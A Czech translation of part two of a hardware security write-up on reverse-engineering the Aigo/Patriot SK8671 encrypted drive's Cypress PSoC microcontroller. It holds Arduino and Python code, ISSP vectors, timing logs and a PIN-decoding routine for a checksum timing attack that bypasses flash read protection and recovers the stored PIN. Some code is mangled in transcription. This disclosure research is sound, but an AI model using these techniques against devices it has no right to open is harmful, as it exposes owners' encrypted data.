Toto je druhá a závěrečná část článku o hackování externích samošifrujících jednotek. Připomínám, že mi nedávno kolega přinesl pevný disk Patriot (Aigo) SK8671, a rozhodl jsem se jej reverzovat, nyní se s vámi podělím o to, co z toho vzešlo. Než budete pokračovat, určitě se seznamte s článku.

4. Začínáme pořizovat dump z interního flash pamětě PSoC
Takže vše naznačuje, že (jak jsme zjistili v [první části]()) je PIN kód uložen ve flash jádru PSoC. Proto je nezbytné přečíst tyto flash jádra. Fronta potřebných prací:
- získat kontrolu nad „komunikací“ s mikrokontrolérem;
- najít způsob, jak ověřit, zda je tato „komunikace“ chráněna proti neautorizovanému čtení;
- najít způsob obcházení ochrany.
Existují dvě místa, kde má smysl hledat platný PIN kód:
- interní flash paměť;
- SRAM, kde může být PIN kód uložen pro porovnání s tím, který zadává uživatel.
Předem poznamenám, že se mi přece jen podařilo pořídit dump interní flash paměti PSoC, – obejít její systém ochrany pomocí hardwarového útoku „trasování se studeným restartem“ – po reverzaci nedokumentovaných schopností ISSP protokolu. To mi umožnilo přímo pořídit dump aktuálního PIN kódu.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Konečný programový kód:
- ;
- .
5. ISSP protokol
5.1. Co je ISSP
„Komunikace“ s mikrokontrolérem může znamenat různé věci: od „dodavatel k dodavateli“ až po interakci s použitím sériového protokolu (například ICSP pro Microchip PIC).
U Cypress pro to existuje vlastní proprietární protokol nazvaný ISSP (in-system serial programming protocol; intran systémový protokol pro sériové programování), který je částečně popsán v . také poskytuje určité informace. Existuje také OpenSource analog, nazývaný HSSP (toho využijeme později). ISSP funguje následujícím způsobem:
- restartujte PSoC;
- vydejte magické číslo na pinu sériových dat tohoto PSoC; pro vstup do režimu externího programování;
- odešlete příkazy, které představují dlouhé bitové řetězce, nazývané „vektory“.
V dokumentaci k ISSP jsou tyto vektory definovány pouze pro malou hrstku příkazů:
- Initialize-1
- Initialize-2
- Initialize-3 (varianty 3V a 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, kde dddddddd=blok #
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, kde DDDDDDDD = data out, aaaaaa = adresa (6 bitů)
- WRITE-BYTE: 10010aaaaaadddddddd111, kde dddddddd = data in, aaaaaa = adresa (6 bitů)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kde DDDDDDDDDDDDDDDD = data out: kontrolní součet zařízení
- ERASE BLOCK
Například vektor pro Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Všechny vektory mají stejnou délku: 22 bity. V dokumentaci k HSSP jsou některé další informace o ISSP: „ISSP vektor není nic jiného než bitová posloupnost představující sadu instrukcí“.
5.2. Demystifikace vektorů
Pojďme se podívat, co se zde děje. Původně jsem předpokládal, že tyto vektory představují raw varianty M8C instrukcí, ale po ověření této hypotézy jsem zjistil, že opkody operací se neshodují.
Pak jsem vyhledal výše zmíněný vektor a narazil na výzkum, kde autor, i když se nezabývá detaily, poskytuje několik užitečných vodítek: „Každý příkaz začíná třemi bity, které odpovídají jedné ze čtyř mnemonik (číst z RAM, zapisovat do RAM, číst registr, zapisovat registr). Následuje 8-bitová adresa, po které následuje 8 bitů dat (čtená nebo k zapsání) a nakonec tři stop bity“.
Pak jsem dokázal získat velmi užitečné informace z části „Supervisory ROM (SROM)“ . SROM je tvrdě zakódovaná ROM v PSoC, která poskytuje servisní funkce (na podobném principu jako Syscall), – pro kód spuštěný v uživatelském prostoru:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Porovnáním názvů vektorů s funkcemi SROM můžeme přiřadit různé operace podporované tímto protokolem k očekávaným SROM parametrům. Díky tomu můžeme dekódovat prvních tři bity ISSP vektorů:
- 100 => "wrmem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
Nicméně celkové pochopení procesů uvnitř čipu lze získat pouze při přímé komunikaci s PSoC.
5.3. Komunikace s PSoC
Jelikož Dirk Petrautský již kód HSSP od Cypressu na Arduinu, použil jsem Arduino Uno pro připojení k ISSP portu klávesnice.
Všimněte si, že během svého výzkumu jsem kód Dirka značně upravil. Moji modifikaci můžete najít na GitHubu: a odpovídající Python skript pro komunikaci s Arduinem v mém repozitáři .
Takže při použití Arduina jsem nejprve používal pouze "oficiální" vektory pro "komunikaci". Pokusil jsem se přečíst vnitřní ROM pomocí příkazu VERIFY. Jak se dalo očekávat, nepodařilo se mi to. Pravděpodobně kvůli tomu, že uvnitř paměti Flash byly aktivní bity ochrany proti čtení.
Poté jsem vytvořil několik svých jednoduchých vektorů pro zapisování a čtení paměti/registrů. Všimněte si, že môžeme přečíst celou SROM, i když je paměť chráněna!
5.4. Identifikace registrů uvnitř čipu
Při pohledu na "disasembly" vektory jsem zjistil, že zařízení používá nedokumentované registry (0xF8-0xFA) pro určení M8C opcode, které se provádějí přímo, obchází ochranu. To mi umožnilo spouštět různé opcode jako "ADD", "MOV A, X", "PUSH" nebo "JMP". Díky nim (vzhledem k vedlejším efektům, které mají na registry) jsem mohl určit, které z nedokumentovaných registrů jsou vlastně běžné registry (A, X, SP a PC).
Nakonec "disassemby" kód vygenerovaný nástrojem HSSP_disas.rb vypadá takto (pro jasnost jsem přidal komentáře):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # reset flags
[DE C0 1C] wrreg SP (f6), 0x00 # reset SP
[9F 07 5C] wrmem KEY1, 0x3A # required argument for SSC
[9F 20 7C] wrmem KEY2, 0x03 # similarly
[DE A0 1C] wrreg PCh (f5), 0x00 # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... up to 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM pointer for output data
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID for SSC call
[DE 00 DC] wrreg A (f0), 0x06 # "Syscall" number: TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Undocumented operation: execute external opcode
5.5. Ochranné bity
V této fázi už mohu komunikovat s PSoC, ale stále ještě nemám spolehlivé informace o ochranných bitech flash paměti. Byl jsem velmi překvapen tím, že Cypress neposkytuje uživateli zařízení žádné prostředky k ověření, zda je ochrana aktivována. Ponořil jsem se do Google, abych konečně pochopil, že HSSP kód poskytnutý Cypressem byl aktualizován až po tom, co Dirk vydal svou modifikaci. A tady! Objevil se nový vektor:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # neznámé argumenty
[9F E0 1C] wrmem 0xFF, 0x00 # podobně
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # nedokumentovaný syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Použitím tohoto vektoru (viz read_security_data v psoc.py) získáváme všechny ochranné bity v SRAM na 0x80, kde na každý chráněný blok připadá dva bity.
Výsledek je zklamáním: všechno je chráněno v režimu "zakázat externí čtení a zápis". Proto nemůžeme nejen číst z flash, ale ani zapisovat (například abychom mohli do ní vložit ROM dump). A jediný způsob, jak ochranu vypnout, je úplné smazání celého čipu. 🙁
6. První (neúspěšný) útok: ROMX
Můžeme však zkusit udělat následující trik: protože máme možnost vykonávat libovolné opkódy, proč neprovést ROMX, který se používá pro čtení flash paměti? Tento přístup má slušnou šanci na úspěch. Protože funkce ReadBlock, jež čte data ze SROM (používaného vektory), kontroluje, zda je volána z ISSP. Nicméně opkód ROMX pravděpodobně takovou kontrolu mít nemusí. Tady je Python kód (po přidání několika pomocných tříd do C kódu pro Arduino):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "x" % ord(byte[0]) # print ROM byteBohužel, tento kód nefunguje. 🙁 Spíš funguje, ale výstupem jsou naše vlastní opkódy (0x28 0x30 0x40)! Nemyslím si, že příslušná funkčnost zařízení je prvek ochrany proti čtení. Je to spíše inženýrský trik: při vykonávání externích opkódů je ROM sběrnice přesměrována na dočasnou mezipaměť.
7. Druhý útok: trasování s studeným restartem
Protože trik s ROMX nevyšel, začal jsem uvažovat o jiné variantě tohoto triku – popsané v publikaci .
7.1. Implementace
V dokumentaci k ISSP je uveden následující vektor pro CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Tady se v podstatě provádí volání SROM funkce 0x07, jak je uvedeno v dokumentaci (kurzíva je moje):
Tato funkce kontroluje kontrolní součet. Vypočítává 16bitový kontrolní součet počtu bloků zadaných uživatelem – v jedné flash bance, počínaje nulou. Parametr BLOCKID se používá k předání počtu bloků, které budou použity při výpočtu kontrolního součtu. Hodnota „1“ vypočítá kontrolní součet pouze pro nulový blok; zatímco „0“ způsobí, že bude vypočítán celkový kontrolní součet všech 256 bloků flash banky. 16bitový kontrolní součet se vrací prostřednictvím KEY1 a KEY2. V parametru KEY1 jsou uloženy dolní 8 bity kontrolního součtu a v KEY2 – horní 8 bity. U zařízení s více flash paměťmi se funkce kontrolního součtu volá pro každou zvlášť. Číslo banky, se kterou bude pracovat, je určeno registrem FLS_PR1 (nastavením bitu odpovídajícího cílové flash bance).
Všimněte si, že se jedná o nejjednodušší kontrolní součet: byty se jednoduše sčítají jeden po druhém; žádné složité CRC triky. Kromě toho, jelikož v jádru M8C je soubor registrů velmi malý, předpokládal jsem, že při výpočtu kontrolního součtu budou mezivýsledky uchovávány ve stejných proměnných, které nakonec vyjdou: KEY1 (0xF8) / KEY2 (0xF9).
Takže v teorii moje útok vypadá takto:
- Připojujeme se přes ISSP.
- Spouštíme výpočet kontrolního součtu s použitím vektoru CHECKSUM-SETUP.
- Restartujeme procesor po nastaveném čase T.
- Čteme RAM, abychom získali aktuální kontrolní součet C.
- Opakujeme kroky 3 a 4, pokaždé mírně zvyšujeme T.
- Obnovujeme data z flash paměti odečtením předchozího kontrolního součtu C od aktuálního.
Objevila se však problém: vektor Initialize-1, který musíme odeslat po restartu, přepisuje KEY1 a KEY2:
1100101000000000000000 # Magie, která převádí PSoC do programovacího režimu
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # kontrolní součet je zde přepsán
[9F 20 7C] wrmem KEY2, 0x03 # a zde
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-funkce 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Tento kód přepisuje náš cenný kontrolní součet voláním Calibrate1 (SROM-funkce 9)… Možná se nám podaří, jen posláním magického čísla (z začátku výše uvedeného kódu), vstoupit do programovacího režimu a poté přečíst SRAM? A ano, funguje to! Kód Arduino, který tuto útoky realizuje, je docela jednoduchý:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())< 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay00;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Přečíst checksum_delay.
- Zahájit výpočet kontrolního součtu (send_checksum_v).
- Počkejte stanovenou dobu; s ohledem na následující úskalí:
- Strávil jsem spoustu času, než jsem zjistil, že se funguje správně pouze se zpožděními nepřesahujícími 16383μs;
- a znovu jsem strávil tolik času, než jsem zjistil, že delayMicroseconds, pokud mu předáte 0, funguje naprosto nesprávně!
- Restartujte PSoC do programovacího režimu (stačí poslat kouzelné číslo, bez odeslání inicializačních vektorů).
Konečný kód v Pythonu:
for delay in range(0, 150000): # zpoždění v mikrosekundách
for i in range(0, 10): # počet čtení pro každé zpoždění
try:
reset_psoc(quiet=True) # restart a vstup do programovacího režimu
send_vectors() # odeslání iniciačních vektorů
ser.write("x85"+struct.pack(">I", delay)) # vypočítat kontrolní součet + restartovat po zpoždění
res = ser.read(1) # přečíst arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # otevřít sériový port
continue
print "d X X X" % (delay, # číst RAM-bajty
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))Zjednodušeně řečeno, co tento kód dělá:
- Restartuje PSoC (a pošle mu kouzelné číslo).
- Odesílá kompletní inicializační vektory.
- Volá funkci Arduino Cmnd_STK_START_CSUM (0x85), kde se jako parametr předává zpoždění v mikrosekundách.
- Přečte kontrolní součet (0xF8 a 0xF9) a nedokumentovaný registr 0xF1.
Tento kód se provádí 10krát za 1 mikrosekundu. 0xF1 je zde zahrnuto, protože to byl jediný registr, který se měnil při výpočtu kontrolního součtu. Možná to je nějaká dočasná proměnná používaná aritmeticko-logickou jednotkou. Všimněte si ošklivého hacku, kterým restartuji Arduino, pomocí picocom, když Arduino přestává dávat známky života (netuším proč).
7.2. Přečtěte si výsledek
Výsledek běhu Python skriptu vypadá takto (upravena pro čitelnost):
DELAY F1 F8 F9 # F1 – výše uvedený neznámý registr
# F8 dolní bajt kontrolního součtu
# F9 horní bajt kontrolního součtu
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # kontrolní součet je resetován na 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1. bajt: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2. bajt: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # nemám tušení, co se tu děje
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Znovu E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Aha, došlo mi to! Tady je přenos do horního bajtu
00063 01 17 01
[...]
00075 CC 17 01 # Takže, 0x117-0xE7: 0x30Máme však problém: protože pracujeme s aktuálním kontrolním součtem, nulový bajt nemění přečtenou hodnotu. Avšak celá procedura výpočtu (8192 bajtů) trvá 0,1478 sekundy (s malými odchylkami při každém spuštění), což je přibližně 18,04 mikrosekundy na bajt, – můžeme tento čas použít k ověření hodnoty kontrolního součtu v příhodných okamžicích. Pro první běhy se všechny hodnoty načítají poměrně snadno, protože doba vykonávání výpočtu je téměř vždy prakticky stejná. Nicméně konec tohoto dumpu je méně přesný, protože „nepatrné časové odchylky“ při každém běhu – se sčítají a stávají se významnými:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDTo je 10 dumpů pro každé mikrosekundové zpoždění. Celkový čas potřebný k pořízení dumpu všech 8192 bajtů flash disku činí přibližně 48 hodin.
7.3. Rekonstrukce flash binárního souboru
Ještě jsem nedokončil psaní kódu, který plně rekonstruuje programový kód flash disku, s ohledem na všechna časová odchylky. Nicméně začátek tohoto kódu už jsem obnovil. Abych se ujistil, že jsem to udělal správně, disassembloval jsem ho pomocí m8cdis:
0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retVypadá to docela věrohodně!
7.4. Najděte adresu pro ukládání PIN kódu
Teď, když můžeme číst kontrolní součet v potřebných okamžicích, – můžeme snadno zkontrolovat, jak a kde se mění, když:
- zadat nesprávný PIN kód;
- změnit PIN kód.
Na začátku, abych našel přibližnou adresu pro ukládání, jsem udělal dump kontrolního součtu s intervalem 10 ms po restartu. Poté jsem zadal nesprávný PIN kód a udělal totéž.
Výsledek byl poněkud nepříjemný, protože změn bylo hodně. Ale nakonec jsem zjistil, že kontrolní součet se změnil někde v rozmezí mezi 120000 µs a 140000 µs zpoždění. Ale "PIN kód", který jsem tam nalezl, byl naprosto nesprávný – kvůli artefaktu procedury delayMicroseconds, která dělá podivné věci, když jí je předán 0.
Poté, po téměř 3 hodinách, jsem si vzpomněl, že systémový hovor SROM CheckSum na vstupu přijímá argument, který určuje počet bloků pro kontrolní součet! Takže můžeme snadno lokalizovat adresu pro ukládání PIN kódu a počítadla "špatných pokusů" – s přesností na 64-bytový blok.
Mé počáteční pokusy daly následující výsledek:

Poté jsem změnil PIN kód z "123456" na "1234567" a dostal jsem:

Takže PIN kód a počítadlo špatných pokusů se zdají být uloženy v bloku č. 126.
7.5. Udělat dump bloku č. 126
Blok č. 126 by měl být někde kolem 125x64x18 = 144000 µs, od začátku výpočtu kontrolního součtu, v mém úplném dumpu, a vypadá docela věrohodně. Poté, po ručním odstranění mnoha nesprávných dumpů (kvůli hromadění "nepatrných odchylek v čase"), jsem nakonec dostal tyto bajty (při zpoždění 145527 µs):

Je naprosto zřejmé, že PIN kód je uložen v nezašifrované podobě! Tyto hodnoty sice nejsou zapisovány v ASCII kódech, ale jak se ukázalo – odrážejí údaje získané z kapacitní klávesnice.
Nakonec jsem provedl několik dalších testů, abych zjistil, kde se uchovává čítač neúspěšných pokusů. Zde jsou výsledky:

0xFF – znamená "15 pokusů", a snižuje se s každým neúspěšným pokusem.
7.6. Obnova PIN kódu
Toto je můj ošklivý kód, který shromažďuje vše výše uvedené:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "d x (x) => x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printZde jsou výsledky jeho spuštění:
$ ./psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Hurá! Funguje to!
Všimněte si, že hodnoty zpoždění, které jsem použil, pravděpodobně platí pouze pro konkrétní PSoC – ten, který jsem používal.
8. Co dál?
Takže shrneme, co se týče PSoC, v kontextu našeho úložiště Aigo:
- můžeme číst SRAM, i když je chráněna proti čtení;
- můžeme obejít ochranu proti čtení pomocí útoku "tracování za studena" a přímého čtení PIN kódu.
Nicméně, náš útok má určité nedostatky – kvůli problémům se synchronizací. Mohlo by se to zlepšit následujícími způsoby:
- napsat utilitu pro správné dekódování výstupních dat získaných útokem "tracování za studena";
- použít FPGA modifikaci pro vytvoření přesnějších časových zpoždění (nebo použít hardwarové časovače Arduino);
- vyzkoušet další útok: zadat záměrně nesprávný PIN kód, restartovat a vyčíst RAM, v naději, že správný PIN kód zůstane v RAM pro porovnání. Nicméně, na Arduinu to není tak jednoduché, protože signálová úroveň Arduino je 5 voltů, zatímco zkoumaná deska pracuje se signály při 3,3 voltech.
Jedna zajímavá věc, kterou bychom mohli zkusit – hrát si s úrovní napětí, abychom obcházeli ochranu proti čtení. Kdyby tento přístup fungoval, mohli bychom získat naprosto přesná data z flash paměti, místo abychom se spolehli na načítání kontrolního součtu s nepřesnými časovými zpožděními.
Vzhledem k tomu, že SROM pravděpodobně čte ochranné bity prostřednictvím systémového volání ReadBlock, mohli bychom udělat to samé, co v blogu Dmitrije Nedospasova – opakovanou implementaci útoku Chrise Gerlinskyho, oznámenou na konferenci .
Další zajímavá věc, kterou bychom mohli udělat – seškrabat pouzdro z čipu: pro získání dumpu SRAM, odhalení nedokumentovaných systémových volání a zranitelností.
9. Závěr
Takže ochrana tohoto úložiště je slabá, protože pro ukládání PIN kódu používá běžný (ne 'hardened') mikrokontrolér... Navíc jsem ještě nezkoumal (zatím), jak je na tomto zařízení to s šifrováním dat!
Co mohu doporučit pro Aigo? Analyzoval jsem několik modelů šifrovaných HDD disků a v roce 2015 jsem udělal prezentaci na SyScan, kde jsem přezkoumal bezpečnostní problémy několika externích HDD disků a poskytl doporučení, co by se v nich dalo vylepšit. 🙂
Na tento výzkum jsem strávil dva víkendy a několik večerů. Celkem přibližně 40 hodin. Počítáno od samého začátku (když jsem disky otevřel) až do konce (dump PIN kódu). Do těchto 40 hodin je zahrnuto i čas, který jsem strávil na psaní tohoto článku. Byla to velmi poutavá cesta.
Zdroj: habr.com
